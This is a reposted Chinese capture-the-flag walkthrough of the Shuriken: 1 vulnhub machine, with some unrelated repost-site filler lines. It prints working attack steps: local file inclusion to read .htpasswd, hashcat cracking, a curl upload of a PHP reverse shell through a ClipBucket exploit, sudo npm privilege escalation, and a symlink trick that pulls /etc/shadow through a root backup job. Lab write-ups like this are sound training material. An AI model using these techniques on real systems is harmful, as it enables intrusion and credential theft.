Shuriken: 1 vulnhub walkthrough

Shuriken: 1 vulnhub walkthroughShuriken:1vulnhub地址:http://www.vulnhub.com/entry/shuriken-1,600/0x01信息收集到获取shell服务器只开放了80端口,dirb爬取目录。==>DIRECTORY:http://192.168.56.121/css/==>DIRECTORY:http://192.168.56.121/img/

Shuriken: 1

vulnhub地址:http://www.vulnhub.com/entry/shuriken-1,600/

0x01 信息收集到获取shell

服务器只开放了80端口,dirb爬取目录。

==> DIRECTORY: http://192.168.56.121/css/                                      
==> DIRECTORY: http://192.168.56.121/img/                                      
+ http://192.168.56.121/index.php (CODE:200|SIZE:6021)                        
==> DIRECTORY: http://192.168.56.121/js/                                       
==> DIRECTORY: http://192.168.56.121/secret/  
只听到从架构师办公室传来架构君的声音:
镌功勒成告万世,凿石作鼓隳嵯峨。有谁来对上联或下联?

最初以为secret目录下secret.png图片做了信息隐藏,一顿操作没有找到任何信息。反过来查看index.php页面的js,发现了有意思的东西。

hint修改hosts后访问http://broadcast.shuriken.local,发现需要basic auth

basic于是尝试另一个请求http://shuriken.local/index.php?referer=,读取到了apache2的默认配置文件/etc/apache2/sites-enabled/000-default.conf

auth
继续读/etc/apach2/.htpasswd,得到了用户名和加密密码developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

用hashcat结合rockyou字典激活成功教程密码为9972761drmfsls

此代码由Java架构师必看网-架构君整理
kali@kali:~$ hashcat -m 1600 -a 0 1.txt /usr/share/wordlists/rockyou.txt --show $apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0:9972761drmfsls

进入系统,发现是clipbucket4.0。

clibucket
在exploit-db上搜到一个利用:https://www.exploit-db.com/exploits/44250,成功上传shell。

kali@kali:~$ curl --basic --user "developers:9972761drmfsls" -F "file=@php_reverse_shell.php" -F "plupload=1" -F "name=anyname.php"  http://broadcast.shuriken.local/actions/beats_uploader.php
{ 
   "success":"yes","file_name":"160691880796e48b","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"}

kali@kali:~$ nc -lp 8080
Linux shuriken 5.4.0-47-generic #51~18.04.1-Ubuntu SMP Sat Sep 5 14:35:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 15:20:42 up  1:52,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1     -                13:28   15:30   0.35s  0.35s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)

0x02 提权至server-management

查看sudo -l,发现可以执行npm,这里利用npm run功能,成功切换到用户server-management

先生成一个package.json,内容为:

此代码由Java架构师必看网-架构君整理
{ "scripts":{ "dev": "/bin/bash" } }

在相同目录下执行命令sudo -u server-management npm run dev,得到第一个flag。

$ cat package.json
{ 
   "scripts":{ 
   "dev":"/bin/bash"}}
$ sudo -u server-management npm run dev

> @ dev /tmp/test
> /bin/bash

id
uid=1000(server-management) gid=1000(server-management) groups=1000(server-management),24(cdrom),30(dip),46(plugdev),116(lpadmin),122(sambashare)

cd /home/server-management
cat user.txt
67528b07b382dfaa490f4dffc57dcdc0

0x03 提权至root

上传运行pspy64发现了以下奇怪的进程:

2020/12/03 06:04:01 CMD: UID=0    PID=2772   | /bin/bash /var/opt/backupsrv.sh 

查看backupsrv.sh:

server-management@shuriken:/var/opt$ cat backupsrv.sh
cat backupsrv.sh
#!/bin/bash

# Where to backup to.
dest="/var/backups"

# What to backup. 
cd /home/server-management/Documents
backup_files="*"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

# Long listing of files in $dest to check file sizes.
ls -lh $dest

观察了一下,该sh大概每分钟会被执行一次,由于sh中参数不能修改,于是这里删除了/home/server-management/Documents文件夹,做了/etcDocuments的软连接,压缩成功后将其拷贝到/var/www/main(注意:需切换到www-data用户),下载后获取到shadow文件。

# 软连接前
-rw-r--r--  1 root root     49331 Dec  3 06:20 shuriken-Thursday.tgz
server-management@shuriken:/var/backups$ rm ~/Documents -rf
server-management@shuriken:/var/backups$ ln -s /etc /home/server-management/Documents
# 软连接后
-rw-r--r--  1 root root   1124824 Dec  3 06:22 shuriken-Thursday.tgz
kali@kali:~/Downloads/test/shuriken-Thursday$ cat shadow
root:$6$KEYGm0ZQ$oTT3SYXna/5H61MZCwqvY995xtDqHGaMe5LRrMXNtVLLDVwfoj.DtJ0AQk6wfhAfOW23uR6wqd7UC5I7MPq0a0:18522:0:99999:7:::
daemon:*:18522:0:99999:7:::
bin:*:18522:0:99999:7:::
sys:*:18522:0:99999:7:::
sync:*:18522:0:99999:7:::
games:*:18522:0:99999:7:::
man:*:18522:0:99999:7:::
lp:*:18522:0:99999:7:::
mail:*:18522:0:99999:7:::
news:*:18522:0:99999:7:::
uucp:*:18522:0:99999:7:::
proxy:*:18522:0:99999:7:::
www-data:*:18522:0:99999:7:::
backup:*:18522:0:99999:7:::
list:*:18522:0:99999:7:::
irc:*:18522:0:99999:7:::
gnats:*:18522:0:99999:7:::
nobody:*:18522:0:99999:7:::
systemd-network:*:18522:0:99999:7:::
systemd-resolve:*:18522:0:99999:7:::
syslog:*:18522:0:99999:7:::
messagebus:*:18522:0:99999:7:::
_apt:*:18522:0:99999:7:::
uuidd:*:18522:0:99999:7:::
lightdm:*:18522:0:99999:7:::
whoopsie:*:18522:0:99999:7:::
kernoops:*:18522:0:99999:7:::
pulse:*:18522:0:99999:7:::
avahi:*:18522:0:99999:7:::
hplip:*:18522:0:99999:7:::
server-management:$6$.KeNqlcH$7vLzfrtf2GWWJ.32ZN0mMTJhHlYDE9PQsbrqkcgpnXDAv9hW27b1D/tC/XD1rsN29.DKFXVEqWgVtZxwvSTgE0:18522:0:99999:7:::
vboxadd:!:18522::::::
mysql:!:18522:0:99999:7:::

hashcat一时没跑出来,算了,重复上面的步骤,将/root文件夹下下来,得到新的flag。

kali@kali:~/Downloads/test$ cat root.txt 

d0f9655a4454ac54e3002265d40b2edd
                                          __                   
  ____  ____   ____    ________________ _/  |_  ______         
_/ ___\/  _ \ /    \  / ___\_  __ \__  \\   __\/  ___/         
\  \__(  <_> )   |  \/ /_/  >  | \// __ \|  |  \___ \          
 \___  >____/|___|  /\___  /|__|  (____  /__| /____  >         
     \/           \//_____/            \/          \/          
                                            __             .___
 ___.__. ____  __ __  _______  ____   _____/  |_  ____   __| _/
<   |  |/  _ \|  |  \ \_  __ \/  _ \ /  _ \   __\/ __ \ / __ | 
 \___  (  <_> )  |  /  |  | \(  <_> |  <_> )  | \  ___// /_/ | 
 / ____|\____/|____/   |__|   \____/ \____/|__|  \___  >____ | 
 \/                                                  \/     \/ 
  _________.__                 .__ __                          
 /   _____/|  |__  __ _________|__|  | __ ____   ____          
 \_____  \ |  |  \|  |  \_  __ \  |  |/ // __ \ /    \         
 /        \|   Y  \  |  /|  | \/  |    <\  ___/|   |  \        
/_______  /|___|  /____/ |__|  |__|__|_ \\___  >___|  /        
        \/      \/                     \/    \/     \/  
本文来源xdeclearn,由架构君转载发布,观点不代表Java架构师必看的立场,转载请标明来源出处:https://javajgs.com/archives/209575
0
   

发表评论